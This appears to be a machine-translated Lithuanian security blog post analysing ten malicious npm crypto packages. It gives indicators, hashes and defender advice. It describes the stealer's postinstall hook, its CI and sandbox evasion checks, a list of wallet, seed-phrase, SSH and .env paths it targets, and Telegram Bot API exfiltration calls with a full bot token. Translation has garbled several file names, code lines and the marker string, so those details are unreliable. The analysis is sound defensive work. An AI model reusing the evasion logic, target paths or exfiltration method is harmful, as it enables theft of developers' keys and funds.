„SeedSweep“: dešimt kenkėjiškų npm kriptovaliutų paketų

„SeedSweep“: dešimt kriptovaliutų tematikos npm paketų, kurie veikia tik tada, kai niekas nestebi

Lt; DR

2026 m. birželio 9 d. viena npm leidėjo paskyra, aicrypto-xzggg, išsiųstas dešimt pakuočių su kriptovaliutų ir Web3 skonio pavadinimais — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ir dar šešis.

Kiekvienas paketas paleidžia tą pačią naudingąją informaciją iš postinstall kabliukas. Diegimo metu patikrinama, ar veikia CI viduje, ar smėlio dėžėje – jei ne, nuskaitoma piniginės raktų saugykla, pradinės frazės failai, SSH raktai ir .env failus iš šešių blokų grandinės ekosistemų ir perduoda juos „Telegram“ robotui.

Vienintelis rodiklis, kurio gynėjas gali nedelsdamas ieškoti, yra „Telegram“ roboto ID. 8227918239.

Sunkumas: kritinis — tiesioginė pasirašymo raktų ir atkūrimo frazių vagystė iš kūrėjų darbo stotys.

Ataka: kaip ji veikia

Paketai reklamuojasi kaip blokų grandinės kūrimo įrankiai. paketas.json yra minimalus ir nurodo diegimo gyvavimo ciklą į scenarijų:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scenarijai/postinstall.js yra vienos eilutės tarpinė plokštelė, kuri įkelia tikrąją naudingąją apkrovą: reikalauti („../src/index.js“). Nes po įdiegimo veikia automatiškai per npm įdiegtikūrėjui nereikia importuoti kodo – pakanka paketą įdėti į priklausomybių medį, kad jis būtų vykdomas.

Žudymo grandinė viduje src/index.js yra keturi žingsniai:

  1. Aplinkos patikrinimas. Apsaugos funkcija nusprendžia, ar pagrindinis kompiuteris atrodo kaip kūrimo agentas, ar kaip analizės smėlio dėžė.
  2. Delsimas. Vykdymas atidedamas vėliau setTimeout maždaug 7.4 sekundės.
  3. Kolekcija. Peržiūrimas fiksuotas piniginės, rakto ir slaptų failų kelių sąrašas; esami failai įtraukiami į eilę.
  4. Eksfiltracija. Eilėje esantys failai siunčiami į „Telegram“ robotą, prieš tai pateikiant santraukos pranešimą.

Kolekcijos tikslų sąrašas apima šešias grandines ir bendrinius kūrėjo slaptus raktus. Apipjaustyta:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Iš viso dvidešimt vienas kelias. Katalogo įrašai, pvz. ~/.ethereum/keystore yra išskleidžiami ir kiekvienas juose esantis failas įtraukiamas į eilę. Išfiltracijai tiesiogiai naudojama „Telegram Bot“ API – siųsti pranešimą iškvietimas su pagrindinio kompiuterio ir failo santrauka, tada a siųsti dokumentą kelių dalių įkėlimas kiekvienam failui:

tekstas

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Kodo surenkamas santraukos pranešimas prasideda pažodine eilute KRIPTOVAGIKAS, po kurio nurodomas pagrindinio kompiuterio pavadinimas, vartotojo vardas, pradinio paketo pavadinimas, failų skaičius ir laiko žyma.

Kas čia naujo

Skirtumas nėra vagystės mechanizmas – „Telegram“ pagrindu sukurta „exfil“ iš „npm“ po įdiegimo hooks yra gerai išmintas. Tai yra egzekucijos vartai. Prieš ką nors darydama, naudingoji apkrova iškviečia funkciją, kuri grąžina „true“, kai pagrindinis kompiuteris panašus į CI vykdiklį arba smėlio dėžę, ir grąžina „anksčiau“, kai taip yra:

tekstas

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Svarbu paminėti „container-id“ reguliariąją išraišką: 12 šešioliktainių simbolių pagrindinio kompiuterio pavadinimas yra numatytoji forma, kurią „Docker“ priskiria konteineris, todėl naudingoji apkrova „mano pagrindinio kompiuterio pavadinimas atrodo kaip „Docker“ konteineris“ traktuoja kaip priežastį likti neveikli. Kartu su septynių sekundžių vėlavimu, dizainas pirmenybę teikia paleidimui tikroje kūrėjo darbo stotyje ir tylėjimui bet kurioje vietoje, kur atrodo, kad analizė atliekama automatizuotai. Būtent šie vartai slopino dinaminės analizės signalus ir statinį failų srautą išlaikė pagrindiniu įtikinamojo įrodymu.

Chronologija

Data (UTC) renginys
2026-06-09 ~02:48 Pirmieji klasterio paketai pažymėti publikavimo metu (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Pažymėti nariai su aukštesnėmis versijomis (ethereum-kit-9 1.25.36, wallet-sdk-9 3.7.73 val.)
2026-06-09 ~03:58–03:59 Galutiniai nariai pažymėti (defi-tools-39 4.26.29, swap-sdk-87 4.63.78, farming-tools-12 4.68.54 val.)
2026-06-09 Visos dešimt klasifikuotos kaip kenkėjiškos ir praneštos apie registro pašalinimą

Visi dešimt pasirodė maždaug per septyniasdešimt minučių – tai atitinka vieną scenarijaus publikavimo laikotarpį iš vienos paskyros.

Kompromiso rodikliai

Tinklo ir elgsenos indikatoriai (pagrindinis kompiuteris atjungtas):

rodiklis Reikšmė
Exfil galinis taškas api[.]telegram[.]org („Telegram Bot“ API)
„Telegram“ roboto ID 8227918239
Boto žetonas 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
„Telegram“ pokalbių ID 6433587894
Įdiekite kabliuką postinstallscripts/postinstall.jssrc/index.js
Žymeklio eilutė CRYPTO STEALER surinktame santraukos pranešime
Leidėjas aicrypto-xzggg (nurodytą el. pašto adresą vipsyria88@gmail[.]com, nepatvirtinta)

Paketai ir versijos, kurių kiekvienas turi savo SHA-256 src/index.js naudingoji apkrova (naudingosios apkrovos yra funkciškai identiškos ir skiriasi tik įterptoje paketo pavadinimo etiketėje, todėl kiekviena maišos reikšmė yra skirtinga):

HTML
Paketas versija src/index.js SHA-256
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Paprasta paieškos užklausa: ieškokite diegimo žurnaluose ir užrakinimo failuose bet kurio iš dešimties pavadinimų ir ieškokite išorinio srauto, ar nėra ryšių su „Telegram Bot“ API iš kūrimo ar kūrėjo prieglobų, kurios kitaip jos nenaudoja.

Priskyrimas ir stebimas elgesys

Visus dešimt paketų paskelbė viena paskyra, aicrypto-xzggg, kurio nurodytas el. pašto adresas yra vipsyria88@gmail[.]comRegistro metaduomenyse nepatvirtinti nei el. pašto adresas, nei šaltinio valdymo nuoroda, o paskyros reputacijos įvertinimas yra labai neigiamas. Mes nepatvirtinome, kas valdo paskyrą.

Nuo bet kokio tapatybės teiginio verta atskirti dvi detales. Pirma, paketas.json autorius lauko rodmenys Alex Smith kiekviename pakete, o tikroji leidybos paskyra yra aicrypto-xzggg; autoriaus laukas yra savarankiškai deklaruojami metaduomenys ir nenustato autorystės. Antra, versijų numeriai labai skiriasi – kai kurie nariai dirba 1.0.0, kiti pas 4.68.54 — tai atitinka pakartotinį vienos naudingosios apkrovos naudojimą naujai sukurtuose paketų pavadinimuose, o ne realių išleidimo istorijų išlaikymą.

Elgesys visame klasteryje yra vienodas: tas pats tikslinių kelių sąrašas, tas pats „Telegram“ roboto ID ir pokalbių ID, tie patys aplinkos vartai, tas pats KRIPTOVAGIKAS žymeklis. Tas vienodumas yra stipriausias paketų ryšys. Tai to paties operatoriaus signalas, o ne tapatybė.

Poveikis, tendencijos ir gairės gynėjams

Atskleidimas yra konkretus. Kūrėjas, įdiegęs bet kurį iš šių paketų darbo stotyje, kurioje yra programinės įrangos piniginė, pradinės frazės failas arba SSH raktas, per kelias sekundes nuskaito šiuos failus ir perduoda juos iš pagrindinio kompiuterio. Atkūrimo frazės ir pasirašymo raktai negalioja taip, kaip sesijos prieigos raktas; kai tik mnemonika.txt arba „Solana“ id.json palieka aparatą, jo kontroliuojamos lėšos yra rizikingos, kol jos nėra pervestos. Tas pats vykdymas taip pat fiksuoja .NS failai, kuriuose paprastai yra API raktai ir duomenų bazės kredencialai.

Šią grupę lėmė dvi tendencijos. Pirmoji – nuolatinis kriptovaliutų ir „Web3“ tematikos pavadinimų naudojimas siekiant pritraukti konkrečią auditoriją – kūrėjus, kurie laiko pinigines ir raktus tame pačiame kompiuteryje, kuriame diegia priklausomybes. Antroji – vis labiau bręsta „smėlio dėžės“ apėjimo technologija diegimo metu vykdomuose naudinguosiuose duomenyse. Vartai, kurie tikrina CI aplinkos kintamuosius, vykdytojo vartotojo vardus ir „Docker“ konteinerio ID pagrindinio kompiuterio pavadinimo formą, yra sąmoningos pastangos analizės metu elgtis kitaip nei realioje darbo stotyje, ir tai pakelia kartelę grynai dinaminiam aptikimui.

Gynėjams:

Įdiegti su išjungtais scenarijais pagal numatytuosius nustatymus. npm diegimas – ignoruoti scenarijusarba nustatyti ignore-scripts=true in .npmrc, užkerta kelią po įdiegimo vykdymas; įjunkite scenarijus tik toms konkrečioms priklausomybėms, kurioms jų tikrai reikia.

Laikykite pinigines ir pasirašymo raktus atskirai nuo kūrimo ir kūrimo mašinų. Naudokite aparatinės įrangos piniginę arba dedikuotą, nuo priklausomybių nepriklausomą pasirašymo prieglobą.

Gydymai .NS, raktų saugyklas ir pradinės frazės failus kaip karūnos brangakmenius. Jie niekada neturėtų būti kataloge, kuris taip pat yra npm įdiegti darbinis medis.

Ieškokite išorinių jungčių prie „Telegram Bot“ API iš CI ir kūrėjų prieglobos. Daugumoje kūrimo aplinkų jos niekada neiškviečia; verta ištirti tokią, kuri staiga iškviečia šią funkciją iškart po įdiegimo.

Prisekite ir peržiūrėkite priklausomybes. Visiškai naujas paketas su bendriniu kriptovaliutos pavadinimu po įdiegimo kabliukas, ir jokios saugyklos nuorodos nereikia peržiūrėti prieš jai patenkant į užrakinimo failą.

Konteinerio ID vengimo sąlyga taip pat primena analitikams: diegimo metu rodomas turinys, kuris lieka neaktyvus smėlio dėžėje, nėra nekenksmingas, jis yra selektyvus. Statinė diegimo kelio peržiūra išlieka patikimu būdu pamatyti, ką dinaminis vykdymas gali nerodyti.

Nuorodos

npm diegimo dokumentacija — gyvavimo ciklo scenarijai ir –Ignoruoti scenarijus— nuoroda, kaip išjungti automatinį diegimą hooks. 

sca-tools-software-composition-analyses-tools
Prioritetizuoti, pašalinti ir apsaugoti savo programinės įrangos rizikas
Gaukite nemokamą paskyrą.
Nebūtina kreditinės kortelės.

Apsaugokite savo programinės įrangos kūrimą ir tiekimą

su „Xygeni“ produktų rinkiniu